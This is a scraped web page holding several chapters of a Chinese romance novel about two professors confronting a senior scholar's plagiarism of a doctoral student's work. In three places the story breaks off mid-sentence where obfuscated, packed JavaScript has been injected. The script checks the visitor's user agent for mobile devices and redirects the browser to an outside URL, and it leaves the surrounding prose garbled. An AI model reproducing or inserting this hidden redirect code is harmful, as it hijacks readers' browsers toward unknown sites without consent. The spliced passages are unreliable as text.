“第一,电影里必须有至少两个女性角色。第二,这两个女性角色之间必须有交流。第三,她们聊天内容不可以围绕男人。按照这个测试,我俩都是电影里围着男主角转的花瓶角色。” 江无远倒在床上,绝望地闭上眼睛:“好了,我明白你的意思了,对不起,我再也不跟你聊男人了。” “对不起什么啊,我是在向你提议,把贝克德尔测试和现实中的闺蜜聊天结合起来,做个研究。” 江无远猛地睁开眼睛,不睁开她会以为自己在做梦。“你是谁?你怎么夺舍了小回?小回不可能对学术感兴趣的!” “让你写,又不是我写。你不觉得很有意思吗?明明女性的世界很广阔,情感很丰富,五感很细腻,但是闺蜜间总是在聊男的,聊情感话题。杀鸡焉用牛刀?男的有这么值得讨论吗?” 江无远的学术神经迅速被激活:“嗯……我想可能是因为,女孩子从小就被暗示,甚至是被鼓励关注情感、外貌这些问题,社会默认这些话题是女孩间的社交货币,交流情感问题是一种高效的情感联结方式。” “发了C刊再向我汇报。现在先说大胸教授的事。” 江无远这才反应过来,跟何回东拉西扯了半天,她都还没讲正事呢!可恶的何律师巧舌如簧,把她都带沟里了,问题没解决,还倒欠了她一篇论文。 “你别插嘴啊,等我慢慢跟你解释。” 何回花了人生中宝贵的六分钟,听完了江无远夹杂着不少脏话的前情提要。 “……就这?” 何回从事法律行业,现在的风向本来就是调解优先、调判结合,大量的民事纠纷会通过调解解决。她看过本市的法院工作报告,去年的一审民事案件调解结案率近60%,这意味着,超过一半的民事案件没有走到判决阶段,提前调解结案了。 在何回现实主义的判断里,和树大根深的被告和解,节约时间和精力成本,属于双赢,她不觉得有什么问题。 江无远急死了:“这关乎学术的纯洁,学生的尊严,教师的道德。贺鸣云不应该纵容这种事。” 何回无语死了:“你这么激动,我还以为他性骚扰女学生,当日本间谍,杀了女主的阿翁,把亲爸亲妈卖去缅北了呢。” “你少看点电视剧。你们玩资本市场的不明白,这件事对我来说很重要。” 完了。何回心想,她可能真的爱上了。江无远不是那么苛刻的人,现在破防得宛如一个偶像塌房的女粉,她在乎了,她陷进去了,偶像抠个鼻屎就让她夜不能寐了。 “好的,江江,你随意吧。难得有你感兴趣的男人,不管是出于娱乐消遣,还是追求真爱,我觉得都挺好的,值得一玩。” “注意你的措辞,我可是人民教师。” 何回捏着鼻子开始吟唱:“京城里的人都知道,江大教授挑男人,最在乎干不干净。必须先把脊梁骨剥出来,量一量是不是笔直的;再把脑花摊开,看一看有没有道德污点;当然最后,胸也要敞开检查一下……” “你少看点短剧!” 语音电话挂了,何回又迅速发来三条微信: “急着挂电话干嘛?我想说的是,检查心胸是否宽广,你想哪儿去了?” “你明天就去问问他是怎么回事嘛,多大点事,他要是思想滑坡了,你就教育他呀,现在就流行这种,训狗。” “个人不喜欢angrysex的剧情,你实在想搞的话,做好措施。” 天啊,高知女性之间聊天,怎么能这么低俗啊。 ***** 和何回插科打诨一通,江无远的大脑依然一团乱麻,但心情确实轻松了很多。 她之前都准备去找马远征了,在玄关换鞋了才突然惊醒,诶等等,我又不是社会学专业的老师,不是小钟的导师,更不是贺鸣云的家属,关我什么事啊?我有什么立场去打听啊? 何况钟若晚本人也没直接找她求助,是肖飞飞和方溯作为小钟的朋友,慌不择路找她帮忙,她连事情的来龙去脉都还不清楚呢。 江无远不敢再细想,再想她就要良心发现,觉得自己对不起贺鸣云了。没了解清楚情况就冲他发了一通火,表现得像某些追妻火葬场的作品里,只有嗓门和巴掌好使、脑子和耳朵都不好使、总是“我不听我不听”“你太让我失望了”的狂躁症男主。 如果再深入地想一想,江无远就会发现更大的疑点。他们之中,贺鸣云才是更讲原则、更一根筋的那个,照理说她不至于这么苛责贺鸣云。她为什么会这么失望呢?是因为太上头了,下意识开启了防沉迷系统,故意找茬好让自己清醒吗? 幸也不幸,江无远不太内耗,不爱自我审判,没来得及深刻剖析自己的心境,因此也尚未察觉自己的心意。 她决定采纳何回的建议,直接找当事人问个清楚。第二天一起床,稍微收拾了下,直奔C2幢贺鸣云办公室而去。 刚出三楼电梯,竟然遇上了贾明光。 “贾教授,好巧。” 贾明光笑笑:“江教授,来找贺教授?” “嗯,”不知为何,江无远有点心虚,觉得有必要澄清一下,“聊点公事。您也是来找他的吗?” “对,不过我们已经聊完了。他有个博士生准备和京西的教授合作发论文,那边课题组的小导跟我有点私交,贺教授找我了解下情况。” 江无远一愣,贺鸣云的博士还用跟其他导师一起发论文?还是和外校的导师? 贾明光看出她的疑问,嘴也是个没把门的,顺嘴就说了:“哦,一般是不会这么操作的,毕竟贺教授自己指导就很给力了。我们学校和京西的关系也比较敏感,学院内不太喜欢这种模式。不过这次学生合作的是圈内一个挺有影响力的教授,你可能不认识,孔富顺,在我们专业算是泰斗级的,比较说得上话。联合发论文建立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“那就对了,我是来找你,找的就是你这个晦气玩意儿,狗xx,你装你x的x呢,你xx在搞毛啊你?” 贺鸣云从来没听过江无远说脏话,给她骂懵了。 电梯门再度合上,贺鸣云出于本能,又伸手去拦,又被夹了下。 江无远毫不同情,继续骂他:“你他x的,你不是说,你会尽力把她留在你身边?现在你让她去剽窃者手下讨饭吃?亏小钟还尊称你一声导,你xx的,市侩,走稳了,别哪天被绊倒怎么死的都不知道。” 贺鸣云目瞪口呆,一句话也说不出来。 电梯门在他面前合上了。 贾明光刚刚一碰到江无远,就知道今天有狗血戏看,悄悄从消防通道又摸了上来,在楼梯口蹲着,屏气凝神偷听。 真好,年轻人啊,谈恋爱还这么有活力,还能吵得恨海情天的。 ***** “导儿?导儿?” 钟若晚好生奇怪,工作狂老登竟然电脑也没开,呆坐在办公室,捂着手不知道在想什么。 不会是被孔富顺打了吧? “导儿?你没事吧?导儿,你青年痴呆了?” 贺鸣云当然有事。 本来今天早上起床就不舒服,头很痛,咽喉也不舒服。刚刚被江老师一吼,耳朵嗡嗡作响。现在都快到下午饭点了,还是一点胃口都没有。 手还被夹肿了。 还有点想死,觉得生无可恋。 贺鸣云有气无力地摆摆手:“我没事,我就是,干眼症,用眼过度。” 好稀奇,他天天滴进口眼药水,每天做三遍眼保健操,近视眼都没得,还干眼症? 钟若晚问:“你眼睛痛吗?很干?” 贺鸣云摇摇头:“不是,就是不知道怎么的,眼睛里老是有水往外面流。” “导儿,你这是伤心得哭了!” 42. 西子捧心 贺鸣云默默垂泪,江无远一夜无眠。 气的。 翻来覆去睡不着,索性化愤怒为力量,熬了一宿写论文。博士毕业后她还没这么努力耕耘过,真是被贺鸣云气得崩人设了。 还冲动购物,花了两千多块,买了一堆图书盲盒和千奇百怪的T恤,还买了一大包捏捏,都怪贺鸣云。 她还给小钟也买了件T恤。江无远不知道怎么安慰朋友或学生时,总是采取最朴素的“投喂她好吃的”和“给她买可爱的礼物”大法。 微信跳出几条新消息: 钟若晚:“江老师,早吖,你起床了吗?” 钟若晚:猫猫打哈欠.jpg 钟若晚:“方便的话,能见一面吗?我有话想跟您说。” 江无远一看是小钟,母爱浮上心头,回复:“快来我家吃早餐!你吃手抓饼吗?” 对面很快回复:“吃!不要葱,谢谢女神。” 很快又补了句:“还有两个拖油瓶一起来。” 江无远把门打开,站在玄关就展开双臂: “来,爱的抱抱,你受委屈了。” 肖飞飞和方溯习以为常,立刻连拖带拉,强迫钟若晚加入四人环抱。 钟若晚十分尴尬:“江老师,我就小你三岁,我都二十六了。学阀什么德性我清楚,我真没事。” “跟几岁没关系,学生都是孩子,保护好孩子是老师的责任。” 如果学生都对被抄袭、被压榨司空见惯,都觉得必须自己调整心态接受,必须自己来搞定、消化这些烂事,那是学校和老师的失职。 贺鸣云这个没用的男人—— 江无远摇摇头,试着不再去想贺鸣云。 “快进来,先吃东西,手抓饼加绿豆豆浆!” ***** 钟若晚开门见山:“江老师,你是不是因为我的事,和我导儿吵架了?” 江无远支支吾吾:“其实也不算吵架……” 算他单方面挨骂来着。 钟若晚叹了口气:“我就知道你会说他,一开始才没跟你讲的。” 走漏风声的肖飞飞和方溯心虚地对视了一眼,不敢吱声。 “江老师,你是不是也好奇,导儿为什么能容忍我?” 在不了解贺鸣云之前,江无远确实很疑惑。 但现在,她已经开始了解贺鸣云其人了。 “没有,你研究做得用心,他喜欢你是理所当然的。” “但对大多数教授来说,学术能力并不重要,有奴性、有资源、能给导师回报才重要。导儿能容忍我,就说明他不是那种教授,不是吗?” 江无远犹豫了一下:“……我之前也是这么想的。” “我现在还是这么想的。老登这两天心情很低落,昨天我给他发东西,他到现在都还没回我,以前凌晨一两点都还在回邮件的。江老师,你们不要因为我吵架了,我作为当事人,是相信我导的,他不是会放弃学生、容忍学术舞弊的人,他这么做一定有他的原因。” ***** 贺鸣云从来无法正确衡量自己的压力数值。 在这方面他坚信人定胜天,只要坚持,就一定能战胜压力。 他也从来不觉得自己压力大。 要是抗住了,那就是压力还不算大;要是没扛住,那就是他的身体素质还不够强,抗压能力还有待提升。 前两天他是上火,今天的主要症状是头晕,恶心,腹痛,发热,无力。刚跑了三趟厕所拉稀,现在躺在床上,虚得一动不能动。 江老师不回他微信后,症状更为明显了,求生意志也明显下降。 柜子里的肠炎宁过期大半年了,冰箱里什么都没有。 贺鸣云难受得要命,终于放弃“人定胜天”那套理论,拿过手机,准备外卖买点药,再点碗粥暖暖胃。 手机没电了,可恶的苹果电池容量。 扒拉半天没找到充电线,刚准备起身,又晕得天旋地转。贺鸣云倒回床上躺尸,想起前天看到的“青椒出租屋中猝死”新闻,又想起梅煜和钟若晚“导儿你就是不想着恋爱成家,也得给自己找个收尸的人呀”的调侃,悲从中来。 他可能真的快死了,都出现幻听了。 叮咚——叮咚—— 啊,丧钟为谁而鸣? ***** 江无远好生奇怪,怎么没人开门啊,电话也不接。 她略一思忖,在密码锁上试着输入“0320”。 门开了。 等会儿得好好说说贺鸣云,一点防盗意识都没有,什么密码都是他生日,这还得了? “贺教授?贺鸣云?你怎么啦?” 贺鸣云睁开眼,江无远站在床头,担忧地望着他。 怎会有如此美梦? “……江老师?你找我?” 这回江老师没骂他。 “是啊,你怎么了?身体不舒服吗?” 贺鸣云扁了扁嘴,感到很委屈:“我拉肚子,拉了好多……肠胃炎犯了,难受。” 江无远伸手摸了摸他的额头。“还有点发热。家里有药吗?” “没有,过期了。你确定发热了吗?不再多摸会儿?” 江无远帮他把被子掖好:“确定。给你发微信你也不回,早点说嘛,还能给你带点药。” “手机没电了。” 江无远没接话,动作麻利地给他擦了把脸,把手机给他充上电,又去接了杯温水让他喝。 贺鸣云看着她进进出出,感觉脑子清醒点了。 “江老师,你怎么知道我家地址的?” “小钟告诉我的,让我来看看你,她也在担心你。” 贺鸣云身体虚弱,说话依然毒性不减:“她先操心自己吧,小孩担心大人干嘛。” 江无远帮他量了□□温:“昨天还好好的,怎么就病成这样了?” 贺鸣云委屈地说:“主要是被你骂病的,你好凶……” 他说完又开始犯晕,躺在床眼冒金星。 再睁开眼时,眼前已经空无一人。 “江老师?你还在吗?” 贺鸣云挣扎着爬起来,失去平衡,上半身栽倒在地,发出一声巨响。 脚步声由远而近,江无远冲进来,大惊失色。 “干嘛呢你?自杀啊?” 她双手插在贺鸣云腋下,费劲吧啦,把他薅回了床上。 贺鸣云尴尬地解释:“其实没摔很疼,是因为我身高太高,才会发出那么大的声音……” 江无远无语地望着他。 贺鸣云虚弱地提醒她:“我身高一米八八。” “听见了,听见了,两只耳朵都听见了。躺好吧你,我不走,我是想给你弄点吃的,你是不是还没吃东西?嘴唇都白了。” 被她一关心,贺鸣云觉得自己好委屈、好脆弱、好柔弱。 “嗯……肚子都拉空了……” “我去给你熬点粥。” 贺鸣云立刻拒绝:“不要,我要吃肉。” “……胃口这么好,你真病还是装病呢?” 贺鸣云眨了眨湿润的狗狗眼:“我饿……我需要能量修复身体。” “贺大教授,下次生病了早点点外卖,早点吃药,不要拖这么久。” “你来了我才有点胃口。” 贺鸣云西子捧心,江无远招架不能,败下阵来。 “……我给你弄点鸡丝滑蛋粥,等着啊。” ***** “弄”这个字用得很准确,江无远懒得给他烧饭,悄悄点了个外卖,倒在贺鸣云的厨具里,假装是她现做的。 江无远喊贺鸣云吃饭,贺鸣云纹丝不动。 江无远惊悚地望着他:“你不会要我喂吧?” 贺鸣云更惊悚:“不用,不用!你,麻烦你扶我一下,我要下床去饭厅,不能在卧室里吃饭,一股饭味儿。” 江无远警惕地扫了他盖着的薄被一眼:“你穿着裤子的吧?” “当然!” 贺鸣云颤颤巍巍坐下了,虽然病弱,吃饭的动作倒是很快,看来是真的饿坏了。 江无远看他状态还行,开门见山了:“小钟早上来找我,让我别误会你了。我的想法和她一样,你不可能纵容别人剽窃你学生的成果,所以到底是怎么回事?你怕孔富顺?他威胁你了?” 贺鸣云急得要站起来:“他算什么东西?写的论文还没我研究生写的东西质量高。我怕他?他就是年纪大,发论文发得早,抢占了这块研究的高地,水平也就那样。” 贺鸣云说完,看到江无远脸上神秘莫测的笑意,哑火了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290999|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……你笑什么?” “所以是为什么,不能告诉我吗?上次方溯的事,你不是跟我说过,不用一个人扛起责任吗?” 贺鸣云沉默了一会儿。 江无远试探着问:“还是你不相信我?” 贺鸣云立刻否认:“怎么可能,我当然相信你,我最相信你。” 他闭了闭眼睛,终于和盘托出: 孔富顺在业界树大根深、屹立不倒,靠的不仅是家世背景、时代红利,更是对人情世故的洞察。 他并非脸谱化的反派,不是那种剽窃了你的成果、还会在你面前耀武扬威的二百五,他总是给你两个选择: A.纯吃瘪。 B.吃口瘪,再吃口糖。 孔富顺有个学生在中国社会科学院社会学研究所当博导,在研究所里算头几号人物,说得上话,资源也很丰富。 孔富顺抛出的和解方案是:学术剽窃的事就此作罢,可以给钟若晚一个二作,作为合作论文发表。之后他会妥善安排,让钟若晚去社科院社会学研究所,跟着他的学生合作做博后。 贺鸣云望着她:“社科院社会学专业方向的博士后名额,每年总共不超过十个,如果还要挑选研究方向,那就是成百上千号人竞争一个坑位,就是当年的我都不一定能申上。江老师,这是个非常难得的机会。” 江无远大概有所耳闻,社科院的人文社科方向博士后,年薪二十五万起,出站后的就业情况也非常可观。 “你已经答应他了吗?” 贺鸣云摇摇头:“还没有,我想不好。小钟的就职意愿只有一个,就是留在高校当老师。可现在竞争太激烈了,她的本硕学校背景很不乐观。如果忍了这次,能换来竞争优势,找到一份不错的工作,长远来看是好事。但是……” 江无远明白他的意思:“如果小钟知道教职是这么来的,会很伤她的自尊心。” 贺鸣云点点头:“而且一旦脏了羽毛,很多事情都会发生改变。这条路很难,有时候就是靠那一口气,凭着那一股劲,才能坚持到底。” 他在说钟若晚,也在说他和江无远。 江无远知道,在现实压力下,人多么容易失去本心。而也许要在非常漫长的时光后,他们才会知道,自己会不会为当初的选择感到后悔。 但至少应该给人选择的权利。 “你就对小钟实话实说吧,她不是你的得意门生吗?你应该相信她,也尊重她的选择,”她想了想,又说,“如果你怕单独面谈给小钟造成压力,我可以跟你一起。” “嗯,好。” 他朝她露出了一个有点虚弱、但依然真诚的笑容。 江无远也知道,贺鸣云其实心里有数,他们的想法应该是一样的。他只是需要一个人,一个伙伴,给他一点支持,给他一点提醒。 “贺教授,还有,对不起,我不应该不了解情况就骂你,还骂得那么难听。” “没事,我其实也没有很在意。” 贺鸣云嘴上这么说,眼圈都红了,看起来委屈死了。 伤害帅哥的事她真是做不到。 “……真的很对不起。在你病好之前,我都给你点外卖,啊不是,是给你做饭,额,给你带饭,以示歉意,好吗?” 贺鸣云竟然毫不推辞,马上顺水推舟,“嗯”了一声。 算了,就忍他这么两天吧。 ***** 贺鸣云病怏怏的,还坚持要洗碗。 “做饭的人不洗碗。” 江无远有点心虚,她也没做饭呀,这不点的外卖吗,还好她机灵,把外卖包装袋悄悄放在了门外。 她把碗抢过来:“就两个碗,不用你洗。你去吃药,客厅桌上外卖袋子里,吃了去躺好。” 江无远洗完碗,贺鸣云已经吃好药乖乖躺好了。 “江老师……” 他好像还有很多话想说,但话还没说出口,就先打了个哈欠。 江无远捋了捋他额头上的碎发,轻轻放上一块打湿的毛巾:“贺教授,先休息吧,你也坚持了很久了。” 贺鸣云的眼睛还是泪汪汪的:“江老师……” “嗯,不用谢,你快点好起来,就是对我最大的感谢。” “不是,我是想说,这块是擦手帕,脏的,快给我拿下来……” 43. 同频心跳 贺鸣云休息了两天,身体和精神状态都好多了,又有力气开始折磨自己了。 吃饱了没事干,又开始忧郁了,又开始忧伤了,又开始自毁倾向了:“江老师,你没说错,我没有保护好学生。我的实力比不过孔富顺,我没办法托举学生,我对自己很失望。” 这是他今天第三十二回忧郁了。 江无远一开始心疼不已、温言相劝,次数多了已经逐渐麻木,听他念得头疼。三十多岁的男的了,能自个儿支棱起来吗?需要安慰自己去找AI聊天行吗? “怎么又开始自我审判了?今天第几回了?别站着,躺回去。别瞪我,眼睛闭上。嘴也闭上。” 贺鸣云闭嘴了。 江无远悄悄点开小春陪你聊app,简单输入了前情,问小春怎么安慰贺鸣云。 她照着手机念:“首先,这件事你一点都没做错。保护学生的心血是导师的本能,你已经尽力去抗争了。学术圈里的确存在权力游戏,你的憋屈不是因为能力不够,而是因为身在其中不得不低头。孔富顺或许地位比你显赫,但这件事恰恰暴露了他的学术操守问题。而你和小钟的清白、能力和创新思维是偷不走的。你的价值不是一次输赢能定义的,而是这么多年的论文、课题和培养出的学生决定的。要不,周末我们出去喝一杯,或者找个安静的地方聊聊?有些事说出来会好受很多,你不是一个人在面对这些。我接住你了吗?” 贺鸣云疑惑地看着她:“江老师,你说话怎么怪怪的?” 看吧,就说AI无法取代人类。 江无远放下手机,又说:“贺教授,求仁得仁,种花得花。要拉长时间线,到生命的最后时刻,才会知道每个人的结局,才会知道自己的选择值不值得。” 这话是闵静知跟她说的,前路茫茫时,江无远总是想起她说的。 贺鸣云轻声说:“可他们不是一直混得很好吗?” 江无远的心刺痛了一下。不久前,发现王圣伯拿了新闻教育良师奖时,她也一样低落,一样愤怒于世道不公。 也许事实就是,他们坚持的东西在现实面前不堪一击,能力出众的学者在学阀面前毫无还手之力。比起成果,比起能力,这个体系更认可裙带关系,更崇尚抱团互利。 为了通过一扇又一扇的窄门,在成长的过程中,不断地折断自己,让自己的身形变小,变得微不足道。直到能丢弃的东西所剩无几,只剩下一颗自尊心。(注1) 窄门的那头是什么?值得把最后一点自尊都扔掉吗? 江无远自认为不算特别清高、特别理想主义,她只是腰杆稍微直了点、跪得稍微慢了一点,都吃尽了王圣伯给的苦头。 贺教授平时在外面一副要杀要剐悉听尊便的死样子,她还以为他真的不在意这些。 怎么可能呢?人非草木。 江无远的心又软了:“你别伤心了,我煮个泡面给你吃吧,吃完我们去找小钟。” 他完全抓错了重点:“……我是病号,你就给我吃泡面?” ***** 贺鸣云简单解释了孔富顺开出的条件。 钟若晚问:“导儿,你是觉得我需要靠走后门才能找到教职吗?” 贺鸣云如实作答:“当然不是。只是有这个机会,你很可能能找到更好的学校的教职。” 钟若晚摇摇头:“不用废话,我不走后门。导儿,你是很厉害,可我也不比你差。不管是学术上还是人格上,我都是你的学生。” 贺鸣云真乃奇人,听完学生表忠心,脸上竟然没有一丝喜悦之色。 他很严肃地说:“你的本硕背景一般,找好的高校的教职会很难。” “这我自己心里有数。” 贺鸣云又从兜里摸出一张A4纸,上面是一张表格,工整地列着大学校名、所在地区、讲师待遇以及优缺点分析。 “我之前列了一下,适合你申请的学校岗位,标黄的是我能帮忙打招呼的,”贺鸣云顿了顿,音量低了两格,显得非常心虚,“虽然我打招呼的作用可能……总之,你别抱太大希望。” 钟若晚冷漠回应:“从来没有抱过希望。我建议你先别去打招呼,别你打完招呼了,人家反而给我穿小鞋。” 师徒二人说话一个比一个扎心,冷言冷语互相攻击。这么一番以暴制暴下来,两个人的脸色和心情竟然还都明显好了起来。 钟若晚想的是,可恶的老登,看不起谁呢?钱穆就读了中学,不也当上教授了?人家还是中国现代史学界的宗师级人物呢。看我不争口气给你看看。 贺鸣云想的是,小钟真是好样的,皮糙肉厚,骨头硬,不愧是我带出来的学生。我多做几个课题,以后她太清贫,借钱给她就是了。 江无远想的是,好一对奇葩师徒。学到了,以后安慰贺鸣云,不用甜言蜜语,不用AI助力,怼他几句,给他喂点老鼠药吃,他就舒服了。 钟若晚又说:“导儿,找工作这件事先放一边,我要举报孔富顺。恶不恶心啊,死东西,大老爷们儿的,偏偏抄女学生写的乙女游戏论文,他玩儿得明白吗他?” ***** 当然了,既然都不同意和解了,就只剩下硬刚这条路。横竖没好果子吃了,没道理还要受气嘛。 江无远问他:“我们有证据吗?” 贺鸣云顾左右而言他:“我一直都让学生把论文过程稿做区块链存证,组会讨论和平时交流的记录也都有,还有一些零散的田野调查笔记。” “有非常实的证据吗?” “……没有。” 江无远沉默了会儿,说:“我看过两篇论文了,孔富顺很高明,加上他的地位,会有很多人帮他洗白,说他不算抄袭,顶多算是没有正确引用。” “嗯。” 他们都很清楚,在这个圈子里,老师借鉴甚至抄袭学生成果的,数不胜数。有的老师段位高些,会做得比较隐蔽,比如有意布置和其研究议题相关的作业,然后理所当然地窃取学生的成果。 在理工专业,抄袭标准是板上钉钉的“客观事实的复现”,实验数据、代码文件、数学模型都是客观存在的,剽窃相对好证明。 但在人文社科领域,剽窃是一个相对模糊的概念,太阳底下无新鲜事,你要怎么证明主观表达和论证的相似性? 而比抄袭论文结构、论点更难定罪的,是对灵感的剽窃。许多学生和年轻学者有苦难言,也许只是在学术会议上简单分享了新的想法,回头就看到圈内大佬发表了相关的文章。 江无远问过何回,何回说法律保护“思想的表达”,而不保护“思想”本身,这是所谓的思想与表达二分法。在法律的框架内,剽窃者完全可以剽窃作者的一个核心观点,然后用不同的表达和框架进行重新包装,这至少在法律上,构成抄袭的可能性较低。 在学术伦理上,这当然是剽窃,举证却非常艰难。 贺鸣云心知肚明,但手上动作不停。他顺着时间线,专心整理钟若晚论文相关的邮件、聊天记录、田野资料。 贺鸣云行事风格如此,总是零帧起手修万里长城,一上手就要准备一份逻辑严密、证据链完整的举报材料,致力于把孔富顺钉死在学术圈的耻辱柱上。 江无远也没闲着。 “贺教授,我出门办点事情,你一个人可以吗?” 贺鸣云头都没抬,“嗯”了一声。 ***** 江无远买了四杯加浓美式,回到办公室时,贺鸣云已经睡着了。 他倒是还记得“肚挤眼不能受凉”的祖训,胡乱盖了本书在肚子上,在沙发上睡得东倒西歪的。 看起来脑子不太好使。 看起来也很孤单。 就像他总是一个人在食堂的角落里吃饭,也不玩手机,就那么双目无神地吃,看得人一点胃口都没有。 就像他总是在课间一个人坐着,看着下面叽叽喳喳聊天的学生,不知道在想些什么。 在和他变熟之前,江无远时不时会在校园里碰到他。贺鸣云总是行色匆匆,总是表情严肃,总是……孤单一人。 所以她以为那些传言是真的,以为贺鸣云傲慢无礼,自视甚高,对待同事学生一视同仁的糟糕。 其实他是个觉得辛拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299824|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面好好吃、洗碗洗得很干净、受伤了就在家里嘀嘀咕咕的人。 江无远低声道:“真老土。深夜一男一女一起加班,狗男人累得睡着了,大美女悄悄靠近,然后突然发现——” 她摸了摸贺鸣云的脸:“你其实是个很好的人。” ***** 马远征快气死了。 他上辈子是造了什么孽,这辈子教到这么个混账学生。 别的乡下读书苦熬出头的,好歹还算是凤凰男。贺鸣云算什么东西?大鹅男,天天追着人啄,也不看看自己几斤几两。 “上次那个课题答辩还没吃到教训?举报人上瘾了?胡杰还不够?还想自己人缘更差,被全学界的人一起整?” 贺鸣云平淡道:“你人缘好,不也一样被整了?枪炮无眼,进攻才是最好的防守。” 这狗东西刀子嘴钢筋心,一刀捅在马远征最痛的地方。 “你!你,你这个死样子!” “我这个死样子也是你培养出来的。” 马远征简直要气晕过去了:“上回你说要举报胡杰就算了,弄什么博导匿名评价我也忍了,你在冰洋大学里瞎蹦跶就蹦跶吧,我还能追在你后边擦屁股。你跑去举报京西的老院长,活腻了你!你不想混了你!” 贺鸣云严肃指出:“他先惹我的。” “你哪位啊?你有一官半职吗你?人家还用惹你?你知道他是哪些部门的咨询专家吗?你知道除了他本人,他的学生也可能审你的论文吗?你要死啊,不想干了?” 马远征气得太阳穴疼,把贺鸣云带过来的证据材料扔在他面前。他其实想扔贺鸣云脸上的,到底是人老了心慈手软,忍住了。 “你自己觉得胜算有多大?你是不是脑子出问题了?当年抄过你的张远,不也好好的当着院长?他儿子还在你面前耀武扬威的呢,光挨打,不长记性?” 贺鸣云言简意赅:“当年张远抄我,你也为我出头了。” 马远征被他噎了下。“结果呢?结果还不如不吭声。你不要老是意气用事,工作哪有不受气的?” 结果是不仅没抗议成功,还连带着马远征一起被张远派排挤。 好在马远征有几个成器的徒弟,身居高校、研究所、政府部门高位,他本人也还有些政治手腕,不至于被斗下马。 但对当时的贺鸣云来说,一向聪明的马远征笨了一回,为他出头,是一个划时代的举动。 在那之前,他尊重马远征,认为他是很好的导师。 在那之后,他亲近马远征,把他当作自己的家人。 他知道他们师徒二人的心,是一样的。 “你不能这么说,如果当时不吭声,也许他会更嚣张,盗取更多人的成果,”贺鸣云想了想,又说,“而且他儿子一点也不争气,这就是不积德的报应。” 马远征疲惫不堪:“那我还没儿子呢。大哥不说二哥,两个都差不多。你别跟我扯东扯西的,我求求你,你就安分这两年,评上教授再说,行不行?你就忍两年,两年弹指一挥间——” 有条新消息,贺鸣云低头看了眼手机。 看就看吧,他居然还自顾自微笑了起来,还要马上打字回复。 马远征怒了:“你有没有在听啊!?” 贺鸣云抬起头,表情竟然更加镇定自若、坚定不移、一片冰心在玉壶了。 “老师,我知道你的好意,但我不能接受。” 马远征愣了愣,贺鸣云好久没喊过他“老师”了。 “你当年走的路没有错,没有你就没有我的今天,”贺鸣云抬眼看了他一眼,居然楚楚可怜的,“你知道的,我从小就离开了爸妈跟着你……” 狗东西,说话没轻没重的,都要把他说哭了。 “……你也知道你不容易啊?好不容易有点起色,干嘛非要到处树敌?等我退休了,你一个人怎么办?” 贺鸣云刚刚收到的,是江无远发来的微信:“放心吧,还有我。” 贺鸣云说:“放心吧,我现在不是一个人了。” 注1:申海哲《淡水鳗鱼的梦》,很好听的一首歌。 44. 两个傻瓜 贺鸣云脸色铁青,气得印堂都发黑,感觉马上要去了。他本来平时脸上就没什么血色,像只吸血鬼。现在嘴唇都发白,像只贫血的吸血鬼。 “深呼吸,贺教授,”江无远见怪不怪,熟门熟路翻出柜子里的菊花,“喝点菊花茶败败火?” 贺鸣云不置可否,自觉解释:“材料已经交上去了,马老头和京西那边沟通了一次,我也和学委会面谈了一次。结果不好。” “说得好简略,似乎略过了很多关键信息。” 贺鸣云深吸一口气,回忆起对方的说辞,脸色更难看了:“贺教授,关于你反映的问题,学校很重视。你说的这个情况,我们初步了解了一下,认为只是学术观点上的相似,现在研究热点就这些嘛。孔教授是京西大学标杆性质的学者,国家社科基金评审专家,长江学者,他的学术贡献和治学素养是有目共睹的……” 江无远打断他:“不爱听这些官腔,我要听他们怎么骂你的。” 贺鸣云幽怨地瞪了她一眼,还是乖乖开始背诵:“贺教授,你要摆正位置。人文社科是一个圈子,一荣俱荣,一损俱损。你的成就也脱离不开这个圈子,没有前辈打下的基础,哪里会有你们冒尖的年轻学者?年轻人不要逞一时之快,坏了规矩,破坏了圈子整体的声誉。这件事呢,学校会组织一次非正式的调解会,让双方坐下来谈,达成一个都能接受的方案,好吧?一点小事,闹大了有什么意思呢?” 江无远把菊花茶递给他:“好了,别气死了。孔富顺自己就是学委会的副主席,京西大学把举报材料内部消化掉,也是意料之中。” 贺鸣云好委屈,他以为江无远会帮她骂京西学委会,没想到她这么淡定,任他受气,胳膊肘一点不向内拐的。 江无远把贺鸣云推到电脑面前坐下,点开一个视频给他看。 前两天,趁贺鸣云埋头整理证据链,江无远赶制了一个短视频,内容是年轻学者研究成果被剽窃,没有指名道姓,但也没藏着掖着,恰到好处地踩在“知情人士觉得骂得好脏、不知情人士完全解不了码”的边界线上。 贺鸣云眉峰皱得能夹死蚊子:“你想打舆论战?” 江无远解释:“你先别急,是小钟一起制作的,我事先征求了她的意见,她同意这么做。” “我没有质疑这个的意思,”钟若晚那个狗脾气,她当然同意这么做,而且他也充分信任江老师的职业素养,“我只是担心,引爆舆后很难控制走向,你会承受很大的压力。” 江无远点点头:“但不止是我,孔富顺也一样。正因为很难控制舆论,所以一旦发酵,京西就很难再内部消化这件事,内部调查不能再草草了事。” 